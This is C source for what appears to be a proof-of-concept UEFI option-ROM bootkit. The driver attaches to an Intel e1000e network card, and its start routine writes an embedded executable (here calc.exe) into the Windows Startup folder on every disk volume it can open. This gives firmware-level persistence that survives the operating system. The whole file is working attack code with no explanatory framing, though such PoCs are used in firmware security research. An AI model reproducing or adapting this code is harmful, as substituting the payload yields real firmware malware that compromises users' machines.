EFI_DRIVER_BINDING_PROTOCOL gTestDriverBinding = {
    DriverSupported,        DriverStart, DriverStop,
    BOOTKIT_DRIVER_VERSION, NULL,        NULL};

EFI_STATUS EFIAPI OptionRomEntrypoint(IN EFI_HANDLE ImageHandle,
                    IN EFI_SYSTEM_TABLE *SystemTable) {
                        EFI_STATUS Status;

  // Setup global variables to use later
  gBS = SystemTable->BootServices;
  gST = SystemTable;
  gImageHandle = ImageHandle;

  Status = EfiLibInstallDriverBindingComponentName2(
      ImageHandle,         // ImageHandle
      SystemTable,         // SystemTable
      &gTestDriverBinding, // DriverBinding
      ImageHandle,         // DriverBindingHandle
      NULL, NULL);

  ASSERT_EFI_ERROR(Status);
  return Status;
}

EFI_STATUS EFIAPI DriverStop(IN EFI_DRIVER_BINDING_PROTOCOL *This,
           IN EFI_HANDLE Controller, IN UINTN NumberOfChildren, 
           IN EFI_HANDLE *ChildHandleBuffer) {
  // Don't need to anything here
  return EFI_SUCCESS;
}

EFI_STATUS EFIAPI DriverSupported(IN EFI_DRIVER_BINDING_PROTOCOL *This, 
                IN EFI_HANDLE Controller,
                IN EFI_DEVICE_PATH_PROTOCOL *RemainingDevicePath) {
  // Get EFI_DEVICE protocols
  EFI_DEVICE_PATH_PROTOCOL *this = DevicePathFromHandle(Controller);
  if (this == NULL) {
    return EFI_UNSUPPORTED;
  }

#ifdef OPROM_DEBUG
  // Print debug info with a UEFI string describing the device
  CHAR16 *p = ConvertDevicePathToText(this, TRUE, FALSE);
  Print(L"%s\n", p);
#endif

  // Only want our driver to work for the e1000e NIC
  if (Checke1000eNIC(Controller, &This)) {
    return EFI_SUCCESS;
  } else {
    return EFI_UNSUPPORTED;
  }
}

BOOLEAN Checke1000eNIC(EFI_HANDLE Controller,
                       EFI_DRIVER_BINDING_PROTOCOL **This) {
  EFI_STATUS Status = EFI_SUCCESS;
  EFI_PCI_IO_PROTOCOL *PciIo;

  // Open the PCIIo protocol on this PCI device handle
  PCI_TYPE00 Pci;
  Status = gBS->OpenProtocol(Controller, &gEfiPciIoProtocolGuid,
                             (VOID **)&PciIo, (*This)->DriverBindingHandle,
                             Controller, EFI_OPEN_PROTOCOL_BY_DRIVER);
  if (EFI_ERROR(Status) || PciIo == NULL) {
    return FALSE;
  }
  Status = PciIo->Pci.Read(PciIo,                       // (protocol, device)
                                                        // handle
                           EfiPciIoWidthUint32,         // access width & copy
                                                        // mode
                           0,                           // Offset
                           sizeof Pci / sizeof(UINT32), // Count
                           &Pci                         // target buffer
  );

  gBS->CloseProtocol(Controller, &gEfiPciIoProtocolGuid,
                     (*This)->DriverBindingHandle, Controller);

  if (Status == EFI_SUCCESS) {
#ifdef OPROM_DEBUG
    Print(L"PCI %X %X\n", Pci.Hdr.VendorId, Pci.Hdr.DeviceId);
#endif
    // e1000e Vendor & Device ID
    if (Pci.Hdr.VendorId == 0x8086 && Pci.Hdr.DeviceId == 0x10d3) {
      return TRUE;
    } else {
      return FALSE;
    }
  }
  return FALSE;
}

EFI_STATUS EFIAPI DriverStart(IN EFI_DRIVER_BINDING_PROTOCOL *This, 
            IN EFI_HANDLE Controller,
            IN EFI_DEVICE_PATH_PROTOCOL *RemainingDevicePath) {
  DumpCalcExe();
  return EFI_SUCCESS;
}


VOID DumpCalcExe() {
  EFI_STATUS Status = EFI_SUCCESS;
  UINTN i;
  EFI_HANDLE *HandleBuffer = NULL;
  UINTN HandleCount;

  // Get the SimpleFileSystem handles avail
  Status = gBS->LocateHandleBuffer(ByProtocol, &gEfiSimpleFileSystemProtocolGuid,
                              NULL, &HandleCount, &HandleBuffer);

  if (!EFI_ERROR(Status)) {
#ifdef OPROM_DEBUG
    Print(L"Status %d\n HandleCount %llx", Status, HandleCount);
#endif
    // Loop over all the disks
    EFI_FILE_PROTOCOL *Fs = NULL;
    for (i = 0; i < HandleCount; i++) {
      EFI_SIMPLE_FILE_SYSTEM_PROTOCOL *SimpleFs = NULL;
      EFI_FILE_PROTOCOL *File = NULL;

      // Get protocol pointer for current volume
      Status = gBS->HandleProtocol(HandleBuffer[i],
                                   &gEfiSimpleFileSystemProtocolGuid,
                                   (VOID **)&SimpleFs);
      if (EFI_ERROR(Status)) {
#ifdef OPROM_DEBUG
        Print(L"FindWritableFs: gBS->HandleProtocol[%d] returned %r\n", i,
              Status);
#endif
        continue;
      }

      // Open the volume
      Status = SimpleFs->OpenVolume(SimpleFs, &Fs);
      if (EFI_ERROR(Status)) {
#ifdef OPROM_DEBUG
        Print(L"FindWritableFs: SimpleFs->OpenVolume[%d] returned %r\n", i,
              Status);
#endif
        continue;
      }

      // Try opening calc.exe file for writing
      Status = Fs->Open(
          Fs, &File,
          L"ProgramData\\Microsoft\\Windows\\Start "
          L"Menu\\Programs\\StartUp\\calc.exe",
          EFI_FILE_MODE_CREATE | EFI_FILE_MODE_READ | EFI_FILE_MODE_WRITE, 0);
      if (EFI_ERROR(Status)) {
#ifdef OPROM_DEBUG
        Print(L"FindWritableFs: Fs->Open[%d] returned %r\n", i, Status);
#endif
        continue;
      }

      UINTN bufSz = sizeof(calc_exe);
      Status = File->Write(File, &bufSz, calc_exe);

      if (EFI_ERROR(Status)) {
#ifdef OPROM_DEBUG
        Print(L"Error with file->write %r\n", Status);
#endif
      }
      File->Close(File);

      Status = EFI_SUCCESS;
    }
  }
}